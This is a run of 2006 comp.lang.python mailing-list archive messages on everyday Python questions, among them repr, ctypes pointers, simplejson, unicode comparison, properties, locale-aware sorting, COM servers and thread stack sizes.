the 'repr' function is what you want.

    >>> foo = "bar\tbaz\r\n"
    >>> print foo
    bar     baz

    >>> print repr(foo)
    'bar\tbaz\r\n'

-- 
 \      "The most common way people give up their power is by thinking |
  `\                            they don't have any."  -- Alice Walker |
_o__)                                                                  |
Ben Finney



From fredrik at pythonware.com  Tue Oct 24 05:13:20 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 24 Oct 2006 11:13:20 +0200
Subject: Screen capture on Linux
References: <mailman.905.1161450327.11739.python-list@python.org><1161533213.744934.67170@e3g2000cwe.googlegroups.com><463ff4860610220915q7b609780u9cb6b418c529a6ef@mail.gmail.com>
	<83e8215e0610230815r155a5e0ejf867e41246ce787a@mail.gmail.com>
Message-ID: <ehklff$vni$1@sea.gmane.org>

Paolo Pantaleo wrote:

> If needed, I was thinking to write a C module too. I never did it
> before, but I am a not so bad C programmer... any suggestion? What
> code can I read and eventually reuse? Would the xwd be useful?
>
> Anyway doesn't it exist a Python binding for let's say X APIs ?

    http://sourceforge.net/projects/python-xlib

(that's an X protocol client, not a binding to X's standard C library).

</F> 





From laurent.pointal at limsi.fr  Wed Oct 18 02:46:57 2006
From: laurent.pointal at limsi.fr (Laurent Pointal)
Date: Wed, 18 Oct 2006 08:46:57 +0200
Subject: I would like write some data recovery software
In-Reply-To: <1161141519.989567.195330@i42g2000cwa.googlegroups.com>
References: <1161141519.989567.195330@i42g2000cwa.googlegroups.com>
Message-ID: <eh4ip1$t53$1@upsn250.cri.u-psud.fr>

gel a ?crit :
> I would like to write some data recovery software as a learning thing.
> The sort of thing that you would use to recover data from a currupt HDD
> or floppy etc.  I would like to be pointed in the right direction as
> far as modules to use and suggested approaches.
> 

Once you get a way to access the bytes to recover... the Hachoir library
can be interresting as a model to map structures on these data.

	http://hachoir.org/


A+

Laurent.


From paul at boddie.org.uk  Fri Oct 13 05:57:19 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 13 Oct 2006 02:57:19 -0700
Subject: Linting python code...
References: <m31wpgjryh.fsf@flognat.myip.nu>
	<200610101415.54557.email@christoph-haas.de>
	<17707.37057.62720.611901@montanaro.dyndns.org>
	<mailman.433.1160733034.11739.python-list@python.org>
Message-ID: <1160733439.254438.300340@b28g2000cwb.googlegroups.com>

Joel Rosdahl wrote:
> skip at pobox.com writes:
> >

[PyLint, PyChecker]

> > New kid on the block:
> >
> >     PyFlakes http://divmod.org/trac/wiki/DivmodPyflakes
> >
> > It doesn't do nearly as much as the other two but doesn't import the
> > modules, so it can be used in places the others can't.
>
> I thought PyLint doesn't import modules either. Am I mistaken?

My impression was that PyLint only inspects the AST (using the astng
package), whereas PyChecker can be asked to do only that, or to
actually import the modules as well.

Paul



From theller at python.net  Mon Oct 16 02:08:02 2006
From: theller at python.net (Thomas Heller)
Date: Mon, 16 Oct 2006 08:08:02 +0200
Subject: OT: What's up with the starship?
In-Reply-To: <SEhYg.7681$gL.2383@southeast.rr.com>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
Message-ID: <egv7k2$orh$1@sea.gmane.org>

T. Bryan schrieb:
> Thomas Heller wrote:
> 
>> I cannot connect to starship.python.net: neither http, nor can I login
>> interactively with ssl (and the host key seems to have changed as well).
>> 
>> Does anyone know more?
> 
> starship.python.net was compromised.  It looked like a rootkit may have been
> installed.  The volunteer admins are in the process of reinstalling the OS
> and rebuilding the system.  That process will probably take a few days at
> least.  

Thanks for the info.  I appreciate the work that the admins are doing.

Thanks,
Thomas



From tommi.raivio at kypara.net  Sat Oct 21 01:33:51 2006
From: tommi.raivio at kypara.net (Tommi)
Date: 20 Oct 2006 22:33:51 -0700
Subject: Looking for assignement operator
References: <eh2n08$4ji$1@online.de>
	<1161158101.890041.122160@k70g2000cwa.googlegroups.com>
	<4535e7d8$0$377$426a74cc@news.free.fr>
Message-ID: <1161408831.435579.302150@m73g2000cwd.googlegroups.com>


Bruno Desthuilliers wrote:

> (please don't top-post - corrected)

(sorry)


> How could it help ?

To me they just looked a bit alike:

--- op's example ---
a = MyInt(10)
# Here i need to overwrite the assignement operator
a = 12

--- traits' example ---
moe = Child()
# NOTIFICATION in action
moe.age = 10



From hanumizzle at gmail.com  Wed Oct 11 00:55:39 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 00:55:39 -0400
Subject: OT: Sarcasm and irony
In-Reply-To: <12iosfh75stcf0e@corp.supernews.com>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net>
	<87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
	<12iosfh75stcf0e@corp.supernews.com>
Message-ID: <463ff4860610102155q7334ba1fo56181a5c7f4b956@mail.gmail.com>

On 10/11/06, Grant Edwards <grante at visi.com> wrote:

> Like Alanis Morisette said about the song "Isn't it Ironic":
> What's ironic about the song is that it doesn't actually
> contain any irony.

OH!! IT'S TEH 'META-IRONY'!! ZOMG!!!

-- Theerasak


From mumebuhi at gmail.com  Tue Oct 24 19:22:35 2006
From: mumebuhi at gmail.com (mumebuhi)
Date: 24 Oct 2006 16:22:35 -0700
Subject: Sending Dictionary via Network
References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>
	<453e9ba0$0$3276$426a34cc@news.free.fr>
Message-ID: <1161732155.264210.77250@f16g2000cwb.googlegroups.com>

The simplejson module is really cool and simple to use. This is great!

For others who are just starting to use Python (like myself), simply
download and decompress the source bundle then copy the simplejson
directory to your sys.path (e.g. /usr/lib/python2.4/).

Thanks so much, Bruno.


Buhi


Bruno Desthuilliers wrote:
> mumebuhi a ?crit :
> > Hi,
> >
> > Is it possible to send a non-string object from a Python program to
> > another? I particularly need to send a dictionary over to the other
> > program. However, this is not possible using the socket object's send()
> > function.
> >
> > Help?
>
>
> >>> d = dict(one=1, two="three", question="life, universe, and everything")
>  >>> import simplejson
>  >>> s = simplejson.dumps(d)
>  >>> s
> '{"question": "life, universe, and everything", "two": "three", "one": 1}'
>  >>> simplejson.loads(s) == d
> True
>
> http://cheeseshop.python.org/pypi/simplejson
>
> If you *really* want to "share" objects between programs, there are way
> to do so (pyro comes to mind). But this gets more complicated...



From mail at microcorp.co.za  Wed Oct 18 02:08:49 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Wed, 18 Oct 2006 08:08:49 +0200
Subject: People's names (was Re: sqlite3 error)
References: <JnzSg.36$1n3.471@news.tufts.edu><1159394058.945948.119410@h48g2000cwc.googlegroups.com><yCQSg.41$1n3.351@news.tufts.edu><1159493520.289291.276850@b28g2000cwb.googlegroups.com><mailman.912.1159494600.10491.python-list@python.org><eg98qb$6a3$1@lust.ihug.co.nz><mailman.93.1160373988.11739.python-list@python.org><egd0k3$u3r$2@lust.ihug.co.nz><mailman.171.1160464326.11739.python-list@python.org>
	<20061017141359.2044.0.NOFFLE@dieschf.news.arcor.de>
Message-ID: <000401c6f281$06d28240$03000080@hendrik>

"Florian Diesch" <diesch at spamfence.net>wrote:
8<--------------------------------------------------------------


>In Germany "von" is just a part of the name since 1919 when the nobility
>was abolished by law. 

Thanks - was not aware of this - 1919 - just after the Great War, 1914-1918...

- Hendrik



From python.list at tim.thechases.com  Fri Oct 20 09:04:16 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Fri, 20 Oct 2006 08:04:16 -0500
Subject: list comprehension (searching for onliners)
In-Reply-To: <4538C09E.2040408@fmed.uba.ar>
References: <4538C09E.2040408@fmed.uba.ar>
Message-ID: <4538C950.1060403@tim.thechases.com>

> result = [{'service_id' : 1, 'value': 10},
>                 {'service_id': 2, 'value': 5},
>                 {'service_id': 1, 'value': 15},
>                 {'service_id': 2, 'value': 15},
>              ]
> 
> and so on...what i need to do is some list comprehension that returns me 
> something like
> 
> result = [
>                 {
>                     'service_id' : 1, 'values': [ {'value': 10}, 
> {'value': 15}]
>                  },
>                 {
>               'service_id' : 2, 'values': [ {'value': 5}, {'value': 15}]
>                 }
>                
> 
> My problem now is i cant avoid have "repeteated" entries, lets say, in 
> this particular case, 2 entries for "service_id = 1", and other 2 for 
> "service_id =2".

Okay...while I'm not sure the opacity of a one-liner is actually 
productive, it *can* be done.  Whether it should, I leave that to 
your discernment. :)

 >>> [{'service_id': i, 'values':[{'value':d2['value']} for d2 in 
result if d2['service_id'] == i ]} for i in set(d['service_id'] 
for d in result)]

[{'service_id': 1, 'values': [{'value': 10}, {'value': 15}]}, 
{'service_id': 2, 'values': [{'value': 5}, {'value': 15}]}]


There's no claiming it's efficient, as it looks like there may be 
some O(N^2) logic going on under the hood (or possibly O(N*M) 
where N is the size of the result-set and M is the count of 
unique service_id values), as it's iterating over the result-set 
in two dimensions...once to create the set of top-level indices, 
and once for each result.

If you didn't have to have all those dictionaries around, it 
might come out more cleanly to just have some result-set that 
came out to be

	{1: [10,15], 2: [5,15]}

Just a few thoughts...

-tkc





From luc.saffre at gmail.com  Thu Oct 19 14:04:55 2006
From: luc.saffre at gmail.com (luc.saffre at gmail.com)
Date: 19 Oct 2006 11:04:55 -0700
Subject: comparing Unicode and string
In-Reply-To: <1161005167.295259.290800@m7g2000cwm.googlegroups.com>
References: <1161005167.295259.290800@m7g2000cwm.googlegroups.com>
Message-ID: <1161281095.174018.223790@f16g2000cwb.googlegroups.com>

Thanks, John and Neil, for your explanations.

Still I find it rather difficult to explain to a Python beginner why
this error occurs.

Suggestion: shouldn't an error raise already when I try to assign s2? A
normal string should never be allowed to contain characters that are
not codable using the system encoding. This test could be made at
compile time and would render Python more didadic.

Luc

luc.saffre at gmail.com schrieb:

> Hello,
>
> here is something that surprises me.
>
>   #coding: iso-8859-1
>   s1=u"Frau M?ller machte gro?e Augen"
>   s2="Frau M?ller machte gro?e Augen"
>   if s1 == s2:
>       pass
>
> Running this code produces a UnicodeDecodeError:
>
> Traceback (most recent call last):
>   File "tmp.py", line 4, in ?
>     if s1 == s2:
> UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 6:
> ordinal not in range(128)
>
> I would have expected that "s1 == s2" gives True... or maybe False...
> but raising an error here is unnecessary. I guess that the comparison
> operator decides to convert s2 to a Unicode but forgets that I said
> #coding: iso-8859-1 at the beginning of the file.
> 
> TIA for any comments.
> 
> Luc Saffre



From chtaylo3 at gmail.com  Tue Oct 24 13:07:13 2006
From: chtaylo3 at gmail.com (Christopher Taylor)
Date: Tue, 24 Oct 2006 13:07:13 -0400
Subject: Help: Python2.3 & Python2.4 on RHEL4 x86_64
In-Reply-To: <453DA645.2090009@v.loewis.de>
References: <mailman.706.1161192807.11739.python-list@python.org>
	<45386B4C.4020001@v.loewis.de>
	<mailman.999.1161629807.11739.python-list@python.org>
	<453d4821$0$22566$9b622d9e@news.freenet.de>
	<mailman.1025.1161646957.11739.python-list@python.org>
	<453DA645.2090009@v.loewis.de>
Message-ID: <2590773a0610241007n69424001y5e8b414cff4684bf@mail.gmail.com>

> Ah, I see. The reason is pretty simple: Makefile.pre.in has
>
> LIBDIR=         $(exec_prefix)/lib
>
> so it seems that LIBDIR isn't configurable.

So you would agree that this is a bug?  I'll post on Python-Dev for
further advice.  I'd like to fix this for the x86_64 community.


> You will have to debug this (can't do right now); see Modules/getpath.c,
> and the definition of PYTHONPATH. It seems this isn't really supported.


I'll ask on Python-Dev for more details on how to fix this.

Respectfully,
Christopher Taylor


From ilias at lazaridis.com  Fri Oct  6 10:13:44 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 6 Oct 2006 07:13:44 -0700
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
In-Reply-To: <eg59pp$9pk$1@south.jnrs.ja.net>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>
	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>
	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>
	<mailman.1388.1160089812.10491.python-list@python.org>
	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>
	<4omn7jFfe26cU1@uni-berlin.de> <eg59pp$9pk$1@south.jnrs.ja.net>
Message-ID: <1160144024.691302.43920@i42g2000cwa.googlegroups.com>

Richard Brodie wrote:
> "Diez B. Roggisch" <deets at nospam.web.de> wrote in message
> news:4omn7jFfe26cU1 at uni-berlin.de...
>
> > This is on the same level of interest to the communities of python, ruby & java as the
> > color of my socks this morning - a deep black with cute little skulls imprinted.
>
> I did find Andy's claim that he expected contributors to sing a
> copyright transfer agreement somewhat unreasonable. It would
> depend on the tune though, I guess.

Such agreements seem to be nothing special within Software Business
(although the Assembla one looks a little bit one-sided). Companies
have to ensure that they own the software, otherwise they cannot sell
the product.

For a contribution which happens based on reduced rates and in context
of Open Source, such an agreement is of course inacceptable (developer
looses all rights).

That's why I've provided an alternative agreement (Joint Copyright),
which covers the needs of both sides:

http://case.lazaridis.com/wiki/AssemblaReworkProject#CopyrightAssignment

.



From richardjones at optushome.com.au  Wed Oct  4 01:12:58 2006
From: richardjones at optushome.com.au (Richard Jones)
Date: Wed, 04 Oct 2006 15:12:58 +1000
Subject: ctypes, arrays and pointers
Message-ID: <452342da$0$11970$afc38c87@news.optusnet.com.au>

Does anyone know how to do the equivalent of this using ctypes?

    image_data = malloc(width * height * components);
    row_pointers = png_get_rows(png_ptr, info_ptr);
    for (y = 0; y < height; y++)
        memcpy(&image_data[width * components * y],
               row_pointers[height-y-1],
               width * components);

That is, I need to get the address of a location *within* an allocated
array. This is what I've got:

    image_data = create_string_buffer(width * height * components)
    address = addressof(image_data)
    row_pointers = libpng.png_get_rows(png_ptr, info_ptr)
    for y in xrange(height):
        row = string_at(address +  width * components * y)
        memmove(row, row_pointers[height-y-1], width * components)

but that's not correct. Either the addressof() or string_at() are not
working according to my understanding from the docs, because that code
segfaults. FWIW, I also tried:

    row = image_data + width * components * y

but you can't add an int to a c_char_Array_2415600.

Sadly the docs don't seem to be finished :(

   http://docs.python.org/dev/lib/ctypes-arrays-pointers.html




From Matthew.Warren at Digica.com  Fri Oct 20 07:22:56 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Fri, 20 Oct 2006 12:22:56 +0100
Subject: [Tutor] How to get the width of teh button widget..??
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B03CDB4BD@UKEX01.Digica.local>

 
 


________________________________

	Folks,
	 
	Sorry for asking you such a trivial question.!!! But i want to
size up all the buttons with the same size as the largest one in the
interface.. And thats why I am asking this question..
	 
	Regards,
	Asrarahmed 
	 
	 
	Hi Asrarahmed.  I think, from your recent posts asking questions
regarding help with python on this list, you may benefit from reading
this document;
	 
	http://catb.org/~esr/faqs/smart-questions.html
	 
	You'll find you wont feel a need to apologise so much for your
questions too.
	 
	As to this question, people will really need to know which gui
toolkit you are using, and how you have used it to build your buttons.
So please post more information regarding the problem, and code you have
written and tried to use so far.
	 
	:)
	 
	 
	Matt.  
	 
	-- 



This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. 

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From tvachon at gmail.com  Sat Oct 21 04:58:23 2006
From: tvachon at gmail.com (Travis Vachon)
Date: Sat, 21 Oct 2006 01:58:23 -0700
Subject: Good Form
In-Reply-To: <1161418652.105713.41150@m7g2000cwm.googlegroups.com>
References: <1161418652.105713.41150@m7g2000cwm.googlegroups.com>
Message-ID: <4539E12F.3010608@gmail.com>

Hi Phez

Generally, most Python programmers I know access and set class 
attributes directly. This is done because of a Python feature called 
property().

In many languages, setting class attributes directly is discouraged 
because additional behavior may need to be associated with that setting, 
and it may be difficult or impossible to later inject this behavior into 
the setting action.

In Python, however, if we have a class like

class A:
    a = 1
   
we just get and set a like:

 >>> obj = A()
 >>> obj.a = 2

If we later want to associate additional behavior with setting A.a, we 
can do the following:

class A(object):
    _a = 1
    def _get_a(self):
          additional_action()
          return self._a
    def _set_a(self, val):
          some_other_additional_action()
          _a = val
    a = property(_get_a, _set_a)

Now when we do

 >>> obj = A()
 >>> obj.a = 2

obj.a = 2 will call _set_a(self, 2), which in this case will run 
some_other_additional_action() and then set a to 2.

Gregor's post contains prudent advice on when to use this property() 
business (that is, only when definitely needed :) ).

Best,

Travis Vachon


phez.asap at gmail.com wrote:
> I am new to Python but come from a C++ background so I am trying to
> connect the dots :) . I am really liking what I see so far but have
> some nubee questions on what is considered good form. For one thing I
> am used to class variables being accessable only through methods
> instaed of directly refrenced from the object instence. From what I
> have read it looks like when you access a class variable directly in
> Python it has something in the background that works similar to a
> getter of setter.
>
> Would you normally write methods to retrive and set your class
> variables or just refrence them directly?
>
>   



From casevh at comcast.net  Tue Oct 31 17:13:55 2006
From: casevh at comcast.net (casevh at comcast.net)
Date: 31 Oct 2006 14:13:55 -0800
Subject: "best" rational number library for Python?
In-Reply-To: <mailman.1558.1162317188.11739.python-list@python.org>
References: <mailman.1558.1162317188.11739.python-list@python.org>
Message-ID: <1162332835.005490.38220@b28g2000cwb.googlegroups.com>

> A guy at work asked for functionality commonly found with rational numbers,
> so I said I'd find and install something.  I figured gmpy would be suitable,
> alas I'm having trouble successfully building the underlying GMP 4.2.1
> library on a PC running Solaris 10 (won't compile with the default --host,
> fails "make check" if I go the no-assembly route).  Before I invest a bunch
> of time into this, am I barking up the wrong tree?
>
I've successfully compiled GMP 4.2.1 on Solaris 10 x86 using both the
GCC and Sun Studio compilers on AMD 32-bit platform.

I just compiled GMP 4.2.1 on a P4 using

$ CFLAGS="" CC=gcc ./configure
$ gmake; gmake check

and all tests passed.

casevh



From Leo.Kislov at gmail.com  Thu Oct 19 06:28:16 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 19 Oct 2006 03:28:16 -0700
Subject: Flexible Collating (feedback please)
In-Reply-To: <UxwZg.6707$fl.6559@dukeread08>
References: <35kZg.6681$fl.2685@dukeread08><UxwZg.6707$fl.6559@dukeread08>
Message-ID: <1161253696.778503.45960@k70g2000cwa.googlegroups.com>

Ron Adam wrote:

> locale.setlocale(locale.LC_ALL, '')  # use current locale settings

It's not current locale settings, it's user's locale settings.
Application can actually use something else and you will overwrite
that. You can also affect (unexpectedly to the application)
time.strftime() and C extensions. So you should move this call into the
_test() function and put explanation into the documentation that
application should call locale.setlocale


>          self.numrex = re.compile(r'([\d\.]*|\D*)', re.LOCALE)

[snip]

>          if NUMERICAL in self.flags:
>              slist = self.numrex.split(s)
>              for i, x in enumerate(slist):
>                  try:
>                      slist[i] = float(x)
>                  except:
>                      slist[i] = locale.strxfrm(x)

I think you should call locale.atof instead of float, since you call
re.compile with re.LOCALE.

Everything else looks fine. The biggest missing piece is support for
unicode strings.

  -- Leo.



From rrr at ronadam.com  Tue Oct 17 12:21:11 2006
From: rrr at ronadam.com (Ron Adam)
Date: Tue, 17 Oct 2006 11:21:11 -0500
Subject: Alphabetical sorts
In-Reply-To: <slrnej9h1s.19o.horpner@FIAD06.norwich.edu>
References: <4aQYg.6347$fl.1193@dukeread08>
	<slrnej7l5u.1dc.horpner@FIAD06.norwich.edu>
	<z3YYg.6629$fl.5841@dukeread08>
	<slrnej9h1s.19o.horpner@FIAD06.norwich.edu>
Message-ID: <kt7Zg.6654$fl.3030@dukeread08>

Neil Cerutti wrote:
> On 2006-10-17, Ron Adam <rrr at ronadam.com> wrote:
>> Neil Cerutti wrote:
>>> On 2006-10-16, Ron Adam <rrr at ronadam.com> wrote:
>>>> I have several applications where I want to sort lists in
>>>> alphabetical order. Most examples of sorting usually sort on
>>>> the ord() order of the character set as an approximation.
>>>> But that is not always what you want.
>>> Check out strxfrm in the locale module.
>> It looks to me this would be a good candidate for a
>> configurable class. Something preferably in the string module
>> where it could be found easier.
>>
>> Is there anyway to change the behavior of strxfrm or strcoll?
>> For example have caps before lowercase, instead of after?
> 
> You can probably get away with writing a strxfrm function that
> spits out numbers that fit your definition of sorting.


Since that function is 'C' coded in the builtin _locale, it can't be modified by 
python code.

Looking around some more I found the documentation for the corresponding C 
functions and data structures. It looks like python may just wrap these.

    http://opengroup.org/onlinepubs/007908799/xbd/locale.html


Here's one example of how to rewrite the Unicode collate in python.

    http://jtauber.com/blog/2006/01

I haven't tried changing it's behavior, but I did notice it treats words with 
hyphen in them differently than strxfrm.



Here's one way to change caps order.

a = ["Neil", "Cerutti", "neil", "cerutti"]

locale.setlocale(locale.LC_ALL, '')
tmp = [x.swapcase() for x in a]
tmp.sort(key=locale.strxfrm)
tmp = [x.swapcase() for x in tmp]
print tmp


['Cerutti', 'cerutti', 'Neil', 'neil']



Cheers,
    Ron




From BjornSteinarFjeldPettersen at gmail.com  Mon Oct 30 02:47:41 2006
From: BjornSteinarFjeldPettersen at gmail.com (thebjorn)
Date: 29 Oct 2006 23:47:41 -0800
Subject: Lookuperror : unknown encoding : utf-8
In-Reply-To: <1162193424.290540.102910@h48g2000cwc.googlegroups.com>
References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com>
Message-ID: <1162194460.969908.154340@h48g2000cwc.googlegroups.com>

Sachin Punjabi wrote:
> I wanted to read a file encoded in utf-8 and and using the following
> syntax in my source which throws me an error specifying Lookuperror :
> unknown encoding : utf-8. Also I am working on Python version 2.4.1.

You shouldn't have to do anything to have the utf-8 encoding available.
Check in your lib/encodings directory for a file name utf_8.py and the
code in __init__.py in the same directory should take care of the
mapping. This has been this way since at least Python 2.2 (which is the
oldest version I have on this machine).

If that doesn't give you a clue as to what is going on in your setup,
try

  u'foo'.encode('utf-8')

at the prompt and post the complete traceback.

> import codecs
> fileObj = codecs.open( "data.txt", "r", "utf-8" )

That should work fine, although I prefer to explicitly set the mode to
"rb" (it will be set to binary mode behind your back regardless ;-)

hth,
-- bjorn



From m.errami at gmail.com  Wed Oct 18 22:01:23 2006
From: m.errami at gmail.com (m.errami at gmail.com)
Date: 18 Oct 2006 19:01:23 -0700
Subject: Restart a Python COM Server
In-Reply-To: <1161183002.883210.110930@m73g2000cwd.googlegroups.com>
References: <1161137817.550348.157890@m73g2000cwd.googlegroups.com>
	<1161183002.883210.110930@m73g2000cwd.googlegroups.com>
Message-ID: <1161223283.602594.41890@i3g2000cwc.googlegroups.com>

Alright.
I kind of get the idea. But how do I do that? Anyway, it is more for
development reason than anything else. It's not that big of a deal. But
still it would be nice to have a solution...

Thanx again
M.E.

olsongt at verizon.net wrote:
> m.errami at gmail.com wrote:
> > Hello all.
> > I am desperately in need for you help guys. Here is the story:
> > 1- I have created a small simple COM serve with python (along the lines
> > read in Win32 Programming with python).
> > 2- If I start the server and call a function from VBE everything works
> > fine
> > 3- I then want to modify the function in the python COM server
> > 4- I unregister the server and register it again hoping the changes
> > will take effect
> > 5- I make call to the function from VBE but the it seems that VBE
> > doesn't reload/refresh the reference to the server.
> > So I do I get VBE to point to the last version of the server? If I
> > close VBE and reload it then it works. But I think there is probably a
> > smarter way. Please, tell me there is!
> > Few posts deal with the issue, but so far I couldn't find anything
> > about it...
> >
> > Thanx all
> > M.E
>
> I don't know how well this works for python-based COM components, but
> the general fix is to setup a Component Services package.  This creates
> a proxy component which can be independently killed from the Component
> Services management console.



From bignose+hates-spam at benfinney.id.au  Wed Oct 25 09:48:58 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 25 Oct 2006 23:48:58 +1000
Subject: dict problem
References: <mailman.1163.1161770037.11739.python-list@python.org>
	<1161772147.307847.65630@h48g2000cwc.googlegroups.com>
	<87y7r4mwso.fsf@benfinney.id.au> <453F5401.3020607@helsinki.fi>
Message-ID: <87pscgmrp1.fsf@benfinney.id.au>

Alistair King <alistair.king at helsinki.fi> writes:

> Ben Finney wrote:
> > Even better, work on a minimal program to do nothing but reproduce
> > the unexpected behaviour. If you get to such a program and still
> > don't understand, then post it here so others can run it
> > themselves and explain.
> ive checked the values and XDS is actually returning a string where i
> want a float ie '123.45' not 123.45.

Can you please post a small, complete program that shows the behaviour
you want explained?

You get this program by writing it -- either by cutting away
irrelevant parts of the existing program, or (better) writing a new
program from scratch that does nothing except demonstrate the
behaviour.

Note that in the process of getting such a program behaving this way,
you may end up understanding the problem better.

-- 
 \         "Democracy is the art of running the circus from the monkey |
  `\                                       cage."  -- Henry L. Mencken |
_o__)                                                                  |
Ben Finney



From jjl at pobox.com  Tue Oct 10 13:21:40 2006
From: jjl at pobox.com (John J. Lee)
Date: 10 Oct 2006 18:21:40 +0100
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com> <877izb1vwe.fsf@pobox.com>
	<mailman.38.1160270091.11739.python-list@python.org>
	<877iz9jj95.fsf@pobox.com>
Message-ID: <uslhwgk7v.fsf@pobox.com>

jjl at pobox.com (John J. Lee) writes:
[...]
> Yes, that's true, I didn't really take in this particular example,
> just the use of "is <bool constant>".  That's not the way it was used
> in docutils, though (do I mean docutils?).

No, I meant epydoc (I think...)


John



From ptmcg at austin.rr._bogus_.com  Wed Oct  4 15:12:52 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Wed, 04 Oct 2006 19:12:52 GMT
Subject: item access time: sets v. lists
References: <QWQUg.15396$3T2.2982@trnddc06>
	<CiRUg.25432$DU3.7189@tornado.texas.rr.com>
	<4cSUg.7864$753.4683@trnddc05>
	<slrnei7sc2.fs.horpner@FIAD06.norwich.edu>
	<3zSUg.25440$DU3.23095@tornado.texas.rr.com>
	<slrnei8189.1hg.horpner@FIAD06.norwich.edu>
Message-ID: <UITUg.4232$5o5.848@tornado.texas.rr.com>

"Neil Cerutti" <horpner at yahoo.com> wrote in message 
news:slrnei8189.1hg.horpner at FIAD06.norwich.edu...
> On 2006-10-04, Paul McGuire <ptmcg at austin.rr._bogus_.com> wrote:
>> "Neil Cerutti" <horpner at yahoo.com> wrote in message
>> news:slrnei7sc2.fs.horpner at FIAD06.norwich.edu...
>>
>
> It seems to be timing "testing for membership", not "random
> access". Random access is just seq[n]; at least, that's the
> assumption I made.
>
> Perhaps I read the test description out of context and got
> confused.
>

Oh, poor wording on my part, sorry.

You got me wondering what seq[n] would give me in the case of a set:

>>> z = set(range(100))
>>> z[30]
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: unindexable object
>>>

It really doesn't make any sense since sets are unordered.  So we couldn't 
compare lists and sets in this manner anyway.

I *did* learn that dicts and sets use a hash table, not a tree, which also 
helps explain why the initial construction of the 10000-element set takes so 
much longer than just simple assembly of the range into a list.

-- Paul




From sjmachin at lexicon.net  Tue Oct 31 18:11:53 2006
From: sjmachin at lexicon.net (John Machin)
Date: 31 Oct 2006 15:11:53 -0800
Subject: report progress from C function
References: <mailman.1572.1162332576.11739.python-list@python.org>
Message-ID: <1162336313.895048.202440@k70g2000cwa.googlegroups.com>

Michael S wrote:
> Good day all.
>
> I rewrote part of my program in C, it's a usually a
> long task. I wanted to be able to report the progress
> back to my python program. In  my module (in addition
> to the function that performs the above-mentioned
> task) there is a function that returns the variable,
> indicating the progress. However I am not sure how to
> call it. Once I call the C function that does the work
> (it's a while loop that takes minutes sometimes) I
> can't call that progress function.
> Any ideas?
>

What do you expect your "python program" to be doing between calls to
the get_progress function?

Here's a sketch of one possible way of doing something useful: add the
following 2 args to your C "does the work function":
(1) Python function object to be called every n times around the while
loop or every nth other event or every n milliseconds or whatever
(2) n

BTW, why did you rewrite in C rarher than using Pyrex?

Cheers,
John



From bj_666 at gmx.net  Mon Oct 16 05:00:55 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Mon, 16 Oct 2006 11:00:55 +0200
Subject: Where to find pydoc?
References: <mailman.557.1160985922.11739.python-list@python.org>
Message-ID: <pan.2006.10.16.09.00.55.1863@gmx.net>

In <mailman.557.1160985922.11739.python-list at python.org>, Wijaya Edward
wrote:

> 
> I tried to call pydoc from my Linux box.
> To my realization that it doesn't contain
> pydoc.
>  
> I thought this module should be a default module.

Yes it is part of the standard library.  What distribution are you using?

Ciao,
	Marc 'BlackJack' Rintsch


From andymac at bullseye.apana.org.au  Tue Oct 24 05:29:24 2006
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Tue, 24 Oct 2006 20:29:24 +1100
Subject: multythreading app memory consumption
In-Reply-To: <LHh%g.2593$T_1.832@newssvr14.news.prodigy.com>
References: <mailman.952.1161559842.11739.python-list@python.org>	<lmW_g.11155$Lv3.10148@newsread1.news.pas.earthlink.net>
	<LHh%g.2593$T_1.832@newssvr14.news.prodigy.com>
Message-ID: <453DDCF4.3030106@bullseye.andymac.org>

Bryan Olson wrote:

> In Python 2.5, each thread will be allocated
> 
>      thread.stack_size()
> 
> bytes of stack address space. Note that address space is
> not physical memory, nor even virtual memory. On modern
> operating systems, the memory gets allocated as needed,
> and 150 threads is not be a problem.

Just a note that [thread|threading].stack_size() returns 0 to indicate
the platform default, and that value will always be returned unless an
explicit value has previously been set.

The Posix thread platforms (those that support programmatic setting of
this parameter) have the best support for sanity checking the requested
size - the value gets checked when actually set, rather than when the
thread creation is attempted.

The platform default thread stack sizes I can recall are:
Windows:  1MB (though this may be affected by linker options)
Linux:    1MB or 8MB depending on threading library and/or distro
FreeBSD:  64kB

-- 
-------------------------------------------------------------------------
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac at bullseye.apana.org.au  (pref) | Snail: PO Box 370
        andymac at pcug.org.au             (alt) |        Belconnen ACT 2616
Web:    http://www.andymac.org/               |        Australia


From wahab at chemie.uni-halle.de  Wed Oct  4 17:43:39 2006
